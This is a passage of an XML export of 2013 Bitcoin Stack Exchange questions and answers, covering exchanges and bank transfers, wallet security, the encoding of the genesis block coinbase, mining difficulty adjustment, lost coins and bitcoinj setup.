  <row Id="9912" PostTypeId="2" ParentId="9908" CreationDate="2013-04-17T20:58:59.223" Score="3" Body="&lt;p&gt;If you can send an International (USD) bank wire then you can buy bitcoins at exchanges that accept that method.  This includes Mt. Gox, BITSPEND, Bitcoin-Central, and others.  The fees for sending International wire are generally considered too high to justify when sending smaller amounts of funds (e.g., $1K range or less).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you can send a SEPA (EUR) bank transfer then you can buy bitcoins from the exchanges that accept that method instead.  SEPA transfers are generally fairly inexpensive to send.   These market exchanges include Mt. Gox, BITSPEND, Bitcoin-Central, BTC-e as well as many other fixed-rate exchanges including Bitcoins In Berlin. Bitcoin.de, Bitcoin Nordic, Instawire, and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is an exchange in your country that accepts domestic bank transfers then that may be the least expensive method of moving funds to an exchange.  For instance, Canadian users have the option of using bill payment from a bank to add funds to their exchange account at the Canadian exchange VirWoX at a low cost relative to International bank wire costs.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-17T20:58:59.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9913" PostTypeId="2" ParentId="9910" CreationDate="2013-04-17T21:11:29.103" Score="6" Body="&lt;p&gt;Nothing (as long as nobody else changes that code as well). I could easily mine hundreds of blocks a second using modified code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as none of those blocks would be accepted by the rest of the network, it's pointless to 'cheat' the system. Which is how Bitcoin basically works: because every node on the network has to store the complete block chain, it can verify every single transaction and block there has ever been, and changes to the mining code aren't dangerous.&lt;/p&gt;&#xA;" OwnerUserId="4358" LastEditorUserId="4358" LastEditDate="2013-04-18T08:44:24.830" LastActivityDate="2013-04-18T08:44:24.830" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9915" PostTypeId="1" CreationDate="2013-04-17T21:29:37.813" Score="5" ViewCount="706" Body="&lt;p&gt;What if a Ripple wallet gets hacked?&#xA;What are the suggested precautions for the average user?&lt;/p&gt;&#xA;" OwnerUserId="4481" LastEditorUserId="132" LastEditDate="2013-04-17T21:50:18.120" LastActivityDate="2018-09-27T15:13:16.820" Title="What precautions should be taken to protect a Ripple wallet?" Tags="|wallet|security|ripple|data-security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9916" PostTypeId="2" ParentId="9915" CreationDate="2013-04-17T23:05:26.420" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What precautions should be taken to protect a Ripple wallet?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can keep your wallet offline most of the time. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9738/what-are-the-ways-to-create-an-offline-ripple-wallet/9876#9876&quot;&gt;See this.&lt;/a&gt; You'll need to go online to check your balance or spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond that, I'd also advise you to only use the client while online with that computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Bitcoin, you can keep your wallet airgapped permanently with Armory, but I don't think there's an equivalent solution for Ripple.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2013-04-17T23:11:18.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9917" PostTypeId="1" CreationDate="2013-04-18T00:05:21.960" Score="5" ViewCount="313" Body="&lt;p&gt;Any ideas about this one? I've imported addresses into my wallet and on rescan, all transactions come up as same date and time?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-05-20T13:32:48.543" Title="Bitcoin-Qt listing all Transactions as occurring at same date and time" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9918" PostTypeId="1" CreationDate="2013-04-18T01:20:13.197" Score="3" ViewCount="888" Body="&lt;p&gt;You can see here the coinbase of the genesis block&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;txNew.vin[0].scriptSig = CScript() &amp;lt;&amp;lt; 486604799 &amp;lt;&amp;lt; CBigNum(4) &amp;lt;&amp;lt; vector&amp;lt;unsigned char&amp;gt;((const unsigned char*)pszTimestamp, (const unsigned char*)pszTimestamp + strlen(pszTimestamp));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Broken down into hex it looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Size of nBits as varint&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x04&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;nBits themselves&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffff001d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Satoshi's message in HEX&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x5468652054696d65732030332f4a616e2f32303039204368616e63656c6c6f72206f6e206272696e6b206f66207365636f6e64206261696c6f757420666f722062616e6b73&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And between the nBits and Satoshi's message we have these three bytes which should be the &lt;strong&gt;extraNonce&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x010445&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which correspond to the code &lt;code&gt;CBigNum(4)&lt;/code&gt;, since 4 is an integer, it's 4 bytes, if this was encoded as a varint, it's value is &amp;lt; 253 as such it would've taken only 1 byte, but as you see there are three bytes.&#xA;Upon asking the bitcoin developers on IRC, they told me it's because the BigNum library encodes bits differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started poking around in the Bitcoin source code, specifically the Bignum wrapper, I found many overloaded constructors and operators, but ultimately failed to find how these three bytes are calculated and returned because of my little experience with C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I believe it's this function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void setulong(unsigned long n)&#xA;{&#xA;    if (!BN_set_word(this, n))&#xA;        throw bignum_error(&quot;CBigNum conversion from unsigned long : BN_set_word failed&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However it's still not returning these bytes. So my question is, how is the integer 4 which should still be &lt;code&gt;0x04&lt;/code&gt; in hex encoded to be this sequence of bytes &lt;code&gt;0x010445&lt;/code&gt;(big-endian) so that I can do it in C?&lt;/p&gt;&#xA;" OwnerUserId="4352" LastEditorUserId="5406" LastEditDate="2015-01-12T22:46:01.790" LastActivityDate="2015-01-12T22:46:01.790" Title="How is the encoding of extraNonce done in the genesis block?" Tags="|coinbase-transaction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9919" PostTypeId="2" ParentId="9901" CreationDate="2013-04-18T02:05:57.620" Score="2" Body="&lt;p&gt;Though it might not help much with economics, if you run a node then you can also gather information on orphaned blocks, IP addresses, and unconfirmed transactions (some of which may never confirm, if insufficient transaction fee is paid or the transaction size is too big).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gathering statistics on Bitcoin is tough, as little can be collected reliably about Bitcoin users. Other questions have looked at that issue &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1706/516&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3040/516&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's generally impossible to even prove that particular bitcoins have not been destroyed (eg the exchange that apparently lost its wallet when Amazon EC2 crashed), though in some cases proof can be given they were destroyed (where bitcoins are sent to a particular address that nobody can realistically have the private key for). I suppose in that regard it's no different to cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also be able to get some idea of publicity and levels of user interest from activity levels on &lt;a href=&quot;http://bitcointalk.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcointalk.org&lt;/a&gt;, &lt;a href=&quot;http://reddit.com/r/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;reddit.com/r/bitcoin&lt;/a&gt; and &lt;a href=&quot;http://www.google.com/trends/explore#q=bitcoin&amp;amp;cmpt=q&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google search statistics&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-04-18T02:05:57.620" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9920" PostTypeId="2" ParentId="9910" CreationDate="2013-04-18T02:42:03.247" Score="1" Body="&lt;p&gt;Tom is exactly right. The network is designed to only accept new blocks generated from the longest blockchain and with the correct solution to the proof of work problem. To lower the difficulty without the consent of the entire network would result in a rejected fork. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the network is a distributive clock, it is possible for two miners to have two valid solutions at the same time, which is resolved by the solution to the next block. Whichever blockchain gets a new block first wins. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-18T02:42:03.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9921" PostTypeId="2" ParentId="7473" CreationDate="2013-04-18T02:45:37.060" Score="2" Body="&lt;p&gt;An attack of this nature would be equivalent to resolving an NP-Complete problem. If the hacker has resolved the P=NP conjecture or is Peter Shor working on a secret quantum computer, then perhaps, but honestly this isn't a concern. ECDSA is secure and used in the NSA's suite B protocols. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there is the notion of a 51% attack, which could become real if BTCGuild continues to grow, yet I believe the guys at the open source Bitcoin project have hard coded certain solutions in the blockchain to mitigate some of these issues. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-18T02:45:37.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9923" PostTypeId="1" CreationDate="2013-04-18T02:54:21.820" Score="4" ViewCount="194" Body="&lt;p&gt;I am building some new metrics to better understand the Bitcoin economy and one that seems to be useful is a probabilistic notion that a Bitcoin has been lost. I'm aware of the bitcoin days destroyed, but has anyone done any modeling to gain a sense if a Bitcoin has been destroyed as a result of a lost key or a transaction to a bad address?&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="15412" LastEditDate="2014-06-17T13:58:22.670" LastActivityDate="2014-06-17T13:58:22.670" Title="Probablity that a Bitcoin has been Lost" Tags="|bitcoin-economy|destroy-bitcoins|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9924" PostTypeId="2" ParentId="9033" CreationDate="2013-04-18T03:01:33.100" Score="1" Body="&lt;p&gt;Considering the inventor is currently anonymous and seems to have divorced himself from the project since 2011, I would doubt that Nakamoto seeks to gain fame or fortune at this juncture. This said, if the bitcoin becomes a standard currency for the internet, then he is looking at an eight figure wall street job at a hedge fund. Not to mention the likely millions in bitcoins he probably had stashed away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He deserves every penny. The bitcoin has added enormous utility to the internet and also started a revolution in monetary knowledge. Millions of people are studying how money works for the first time, which will lead to changes in the way current fiat currencies are managed.  &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-18T03:01:33.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9925" PostTypeId="2" ParentId="9923" CreationDate="2013-04-18T03:18:26.390" Score="5" Body="&lt;p&gt;There is no way to determine (that I can imagine) the number of lost private keys, you would have to make a guess that after x years without movement the private key is lost but that would just be a guess.&lt;/p&gt;&#xA;" OwnerUserId="4497" LastActivityDate="2013-04-18T03:18:26.390" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9926" PostTypeId="1" CreationDate="2013-04-18T04:07:34.073" Score="5" ViewCount="786" Body="&lt;p&gt;I know we don't have to worry about this for a very long time, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One argument against Bitcoin, and really, digital currencies as a whole, is that, in order to time blocks with reasonable predictability every 10 minutes throughout the life of the system, the resource cost of blocks (e.g. processing power and electricity) increases over time. This system thus assumes that the available processing power will always be increasing and that the cost of electricity necessary to operate that processor will be less than the revenue from block reward plus transaction fees, that mining will be profitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the difficulty never stops increasing, what happens if increased resource costs cause mining to be unprofitable?&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="5406" LastEditDate="2017-12-26T19:53:44.427" LastActivityDate="2017-12-26T19:53:44.427" Title="Does difficulty ever stop increasing?" Tags="|mining-profitability|difficulty|energy-consumption|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9927" PostTypeId="2" ParentId="9926" CreationDate="2013-04-18T04:07:34.073" Score="4" Body="&lt;p&gt;&lt;strong&gt;The difficulty actually does not continually increase.&lt;/strong&gt; It has continued to increase recently because hashing power has continued to increase, causing blocks to be found quicker. &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5838/how-is-difficulty-calculated&quot;&gt;Difficulty is calculated&lt;/a&gt; by taking into account how long it has taken for the network to create 2016ª blocks and adjusting the difficulty accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some messing around in a Ruby interpreter to show it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#two weeks, expressed in seconds&#xA;twoweeks = 60 * 60 * 24 * 7 * 2&#xA;# =&amp;gt; 1209600&#xA;#the current difficulty as of the time of this posting&#xA;diff = 7988698.97&#xA;# =&amp;gt; 7988698.97&#xA;#the difficulty if it took only a week to generate the past 2016 blocks&#xA;(diff * twoweeks) / (twoweeks / 2)&#xA;# =&amp;gt; 15977397.94&#xA;#the difficulty if it took four weeks to generate the past 2016 blocks&#xA;(diff * twoweeks) / (twoweeks * 2)&#xA;# =&amp;gt; 3994349.485&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A pair of maximums keep the difficulty change from being too abrupt. It can never more than quadruple (four times, 400% of the previous difficulty) or more than quarter (one quarter, 25% of the previous difficulty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;ª A bug makes it be actually 2015 in the reference client, but that may be fixed at some point in the future.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1409" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-04-18T04:07:34.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9928" PostTypeId="2" ParentId="9923" CreationDate="2013-04-18T04:12:56.677" Score="1" Body="&lt;p&gt;A digital currency with user-defined anonymity will cause any estimates to simply be guesstimates.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other areas where studies have attempted to quantify something and simply have concluded there is no reliable way to come up with the number so rather than provide misinformation there simply is no estimate made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially you could give a rough guesstimate of the upper bound.  Any coin that hasn't moved in the past year, for instance, might go under the possibly lost for a year or more.  That data is available and reportable.   But who knows if the real level of coins that haven't moved for over a year is because they were lost or simply are being saved and not spent.  Maybe it is 98% saved and 2% lost.  Or not.  Who knows.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-04-18T04:12:56.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9929" PostTypeId="1" CreationDate="2013-04-18T04:19:03.897" Score="1" ViewCount="1958" Body="&lt;p&gt;I've had some discussions with my colleagues at CU Boulder and we might be interested in developing an open sourced ASIC for Bitcoin mining. If I was to start a Kickstarter project, then who would support it and for how much?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to answer two questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I'm betting this question will answer two specific questions. First, why the ASIC open sourced project failed and second further explain the ASIC miner design process. There is currently a low level of understanding in the Bitcoin community about ASIC mining clients outside that they are orders of magnitude faster than GPUS.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="4070" LastEditorUserId="5406" LastEditDate="2016-04-09T07:54:00.270" LastActivityDate="2016-04-09T07:54:00.270" Title="Kickstarter for an Open Sourced ASIC" Tags="|asic|mining-hardware|" AnswerCount="0" CommentCount="3" ClosedDate="2013-04-21T20:12:49.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="9932" PostTypeId="2" ParentId="5899" CreationDate="2013-04-18T06:44:23.577" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://ufasoft.com/coin/&quot; rel=&quot;nofollow&quot;&gt;This client&lt;/a&gt; includes a command-line miner which supports CPU mining (and GPU, should you have one available).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unless you're mining in a pool, you're not going to get any benefit from CPU mining. And even with a pool, you'll get very little.&lt;/p&gt;&#xA;" OwnerUserId="1311" LastActivityDate="2013-04-18T06:44:23.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9933" PostTypeId="1" AcceptedAnswerId="9939" CreationDate="2013-04-18T06:56:53.250" Score="12" ViewCount="851" Body="&lt;p&gt;The hashing problem is by design computationally hard, because SHA-256 hashes are for all intents and purposes random strings with no direct link to their inputs, and there's no (known) way to generate a block so that its hash computes to a given output (or, more exactly, satisfies the current difficult criteria). At any given difficulty level, there will only be a certain &lt;em&gt;probability&lt;/em&gt; for miners to find a valid block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok. But is there any proof that a valid block will &lt;em&gt;actually&lt;/em&gt; exist at a given difficulty level? Is it possible that valid blocks &lt;em&gt;just stop being found&lt;/em&gt; if difficulty increases too much? How could the network handle such a situation, if the difficulty level can only change every &lt;em&gt;X&lt;/em&gt; blocks?&lt;/p&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="5406" LastEditDate="2016-03-07T10:41:53.467" LastActivityDate="2016-03-07T10:41:53.467" Title="Is it possible for the network to stop finding valid blocks?" Tags="|block|hash|difficulty|proof-of-work|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9934" PostTypeId="1" AcceptedAnswerId="9935" CreationDate="2013-04-18T07:10:45.447" Score="4" ViewCount="303" Body="&lt;p&gt;My very first Bitcoin transaction has 740 confirmations, the next have 239, 212, 70, 43, 5, and 5, respectively. Is this just because my first transaction has had more time to get more confirmations, or do first transactions always receive the most confirmations, even if the subsequent transactions follow immediately thereafter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viz., does the first bitcoin transaction need the most confirmations, such as to verify the legitimacy of a new user?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="4334" LastEditorUserId="5406" LastEditDate="2015-06-01T11:35:14.430" LastActivityDate="2015-06-01T11:35:14.430" Title="Why do first bitcoin transactions receive most confirmations?" Tags="|transactions|bitcoin-core|confirmations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9935" PostTypeId="2" ParentId="9934" CreationDate="2013-04-18T07:21:14.183" Score="5" Body="&lt;p&gt;Once a transaction has one confirmation, it gets a confirmation whenever the network creates a new block (roughly every 10 minutes). If one of your transactions gets a confirmation, the rest will also get a confirmation if they have at least one confirmation already. So the difference in non-zero confirmations between your transactions will always remain the same (except in very rare cases when the block chain gets reorganized).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going from 0 confirmations to 1 works differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot;&gt;https://en.bitcoin.it/wiki/Transactions&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Blocks&quot;&gt;https://en.bitcoin.it/wiki/Blocks&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot;&gt;https://en.bitcoin.it/wiki/Block_chain&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2013-04-18T07:21:14.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9936" PostTypeId="2" ParentId="9933" CreationDate="2013-04-18T07:36:45.183" Score="0" Body="&lt;p&gt;Think of mining like the lottery where the difficulty rate is the amount of numbers in the pool and your mining rate is how many tickets you can buy. The difficulty rate is set with the idea that we want someone to win the lottery every 10 minutes. We add more numbers when they win too quickly and remove numbers when they win too slowly adjusted every 2016 blocks (approx two weeks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your question, no we will not run out of blocks. In the year 2140 give or take a few, we will have exhausted all the bitcoins, but miners will still make bitcoins via verifying transactions. If the bitcoin survives this long, then most mining will be done by large institutions tied to the bitcoin in some way who have an incentive for all transactions to be properly verified. &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-18T07:36:45.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9937" PostTypeId="1" CreationDate="2013-04-18T07:47:34.247" Score="2" ViewCount="729" Body="&lt;p&gt;My understanding is that the blockchain is currently 6.5 GB in size and will continue growing at a fairly hefty rate. Has anyone attempted to analyze the blockchain to attempt to determine dead bitcoins? I'm interested in developing a probabilistic measure to label certain transactions as dead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's a good way of getting the raw data from the blockchain? I'd like to batter it with some R and Sage magic.    &lt;/p&gt;&#xA;" OwnerUserId="4070" LastActivityDate="2013-04-18T13:10:52.827" Title="Analysis on the Block Chain for Dead Bitcoins" Tags="|blockchain|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9939" PostTypeId="2" ParentId="9933" CreationDate="2013-04-18T07:51:53.747" Score="9" Body="&lt;p&gt;The simple answer: &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The not to simple answer: extremely unlikely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners hash an input block, in the hopes of getting a result that satisfies the difficulty requirement, i.e., has a certain number of zeroes in front. Now the possibilities for the miner to vary the input are quite large. There is the 4 byte nonce, there is the order transactions are put into the transaction (for simplicity let's just assume it allows all permutations of the merkle root, 2^256), there's the coinbase in the reward transaction (which also influences the merkle root), there's the timestamp (not that variable but let's say we can vary by two hours =&gt; 14 bit) and there's the transaction count (up to 4 byte, that are not independent from the merkle root, but let's assume they are indipendent). So in total we have something in the order of &lt;a href=&quot;http://www.wolframalpha.com/input/?i=2%5E256%2a2%5E32%2a2%5E32%2a2%5E14&quot; rel=&quot;noreferrer&quot;&gt;2^256*2^32*2^32*2^14~=3.49E100&lt;/a&gt; possible inputs to find a block and &lt;a href=&quot;http://www.wolframalpha.com/input/?i=2%5E256&quot; rel=&quot;noreferrer&quot;&gt;2^256~=1.15E77&lt;/a&gt; possible block hashes. (These are all back-of-the-envelope calculation, and probably wrong, but just to give an idea of the scale of this)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence we would find &lt;a href=&quot;http://www.wolframalpha.com/input/?i=2%5E256%2a2%5E32%2a2%5E32%2a2%5E14/2%5E256&quot; rel=&quot;noreferrer&quot;&gt;~3.02E23&lt;/a&gt; hash collisions for each hash, and would have to not find a single hash that matches the target. Notice that hash functions are built with the stated goal of making hash collisions really hard (researchers have used super computers for decades to find a single hash collision), and you'll see it is unlikely to ever occur in anyones lifetime.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2013-04-24T11:54:15.687" LastActivityDate="2013-04-24T11:54:15.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9940" PostTypeId="2" ParentId="7842" CreationDate="2013-04-18T08:47:56.953" Score="2" Body="&lt;p&gt;I had a horrendus time doing this because of the fact that the jar is not available in a public site. Their docs to install it in a local repo and point maven at it seemed promising, but in the end I can tell you the best way:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Start by forking a Java Maven project. Instructions to do that are here: &lt;a href=&quot;http://java.heroku.com/&quot; rel=&quot;nofollow&quot;&gt;http://java.heroku.com/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clone your project.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clone bitcoinj from git.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy the dependencies from the pom.xml of both the top level project from bitcoinj, AND the one in the 'core' directory into your project's pom.xml. You'll also have to include some version numbers which are set in properties in the pom.xml to make it work.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy everything from bitcoinj/core/main/src/java/ into your project.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assuming you've done all this, you should now be able to compile your project, including bitcoinj which you copied in from step 5 into your project, because you copied all the required dependencies into your pom.xml in step 4.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a main class with a main method and get a static network parameters for production, make a block chain, a block store, and a peer group, and wire those up. Make a new wallet and a new ECKey, add the key to the wallet and the wallet to the block chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify your pom.xml to point the appassembler plugin at your main class so it runs when you deploy the app.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;git push heroku master&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Send yourself some coins, watch your wallet onCoinsRecieved fire.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4502" LastActivityDate="2013-04-18T08:47:56.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9941" PostTypeId="2" ParentId="9918" CreationDate="2013-04-18T09:09:14.847" Score="1" Body="&lt;p&gt;Looks like you're misinterpreting the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CBigNum is just a class that stores numbers. &lt;code&gt;CBigNum(4)&lt;/code&gt; simply stores the number 4, and &lt;code&gt;CBigNum(SHA256(block))&lt;/code&gt; would store the hash of a block as a number (after all, SHA256 gives us numbers). &lt;code&gt;CBigNum&lt;/code&gt; does what it says: it stores a big number. As it has a function that exports the number as big endian, it's useful here, and the Bitcoin source will often use it to concatenate numbers in a data stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take a quick look at the genesis block's script, without looking at the code. Please open the relevant wiki page: &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04FFFF001D0104455468652054696D65732030332F4A616E2F32303039204368616E63656C6C6F72206F6E206272696E6B206F66207365636F6E64206261696C6F757420666F722062616E6B73&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Part of this can be interpreted as :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;04 -&amp;gt; PUSH 4  bytes (FFFF001D)&#xA;01 -&amp;gt; PUSH 1  byte  (04)&#xA;45 -&amp;gt; PUSH 69 bytes (The Times 03/Jan/2009 Chancellor on brink of second bailout for banks)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4358" LastActivityDate="2013-04-18T09:09:14.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9942" PostTypeId="2" ParentId="9510" CreationDate="2013-04-18T09:21:58.950" Score="2" Body="&lt;p&gt;That wallet is using bitcoinj as its client which implements a &quot;simplified payment verification&quot; mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what the client does in this implementation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Connects to a trusted node.&lt;/li&gt;&#xA;&lt;li&gt;Downloads only the block headers.&lt;/li&gt;&#xA;&lt;li&gt;Validates the headers. &#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do they chain back to genesis block? &lt;/li&gt;&#xA;&lt;li&gt;Is difficulty high enough?&lt;/li&gt;&#xA;&lt;li&gt;Do I trust this node enough?&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Downloads only the transactions that yield ownership to your addresses.&lt;/li&gt;&#xA;&lt;li&gt;Sufficiently deep block headers are thrown away.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Resource usage in this implementation just depends on your own sent/received transactions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As of October 2012 (block 203258) there have been 7,979,231 transactions, however the size of the unspent output set is less than 100MiB, which is small enough to easily fit in RAM for even quite old computers. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, almost 8 million txns in Oct2012 could be consolidated to 100MiB just by throwing out txns that had no spendable outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can imagine how little space it takes just to store transactions relevant to your addresses.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a 